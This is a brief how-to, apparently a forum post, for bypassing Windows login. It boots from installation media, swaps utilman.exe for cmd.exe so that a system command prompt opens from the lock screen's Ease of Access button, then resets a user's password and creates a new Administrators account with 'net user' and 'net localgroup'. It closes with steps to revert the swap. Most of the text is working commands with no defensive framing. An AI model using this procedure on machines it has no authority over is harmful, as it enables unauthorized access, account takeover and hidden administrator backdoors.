Put a Windows installation media into your device and boot from the installation media
at the first screen of installation don't press next instead press F10
then you will get access to a command prompt
cd c:\windows\system32
ren utilman.exe utilman.exe.bak
copy cmd.exe utilman.exe
then reset the computer and boot with your orginal os
when you see press ctl+alt+del to login at the left lower part of the screen click on ease of access
then you'll get access to a command promp
To reset an existing users password:
net user Username Password
To create a new user account:
net user NewGuy Password /add
To add them to the Administrators usergroup:
net localgroup Administrators NewGuy /add
Reverting Changes:C:
cd windows\system32
del utilman.exe
ren utilman.exe.bak utilman.exe
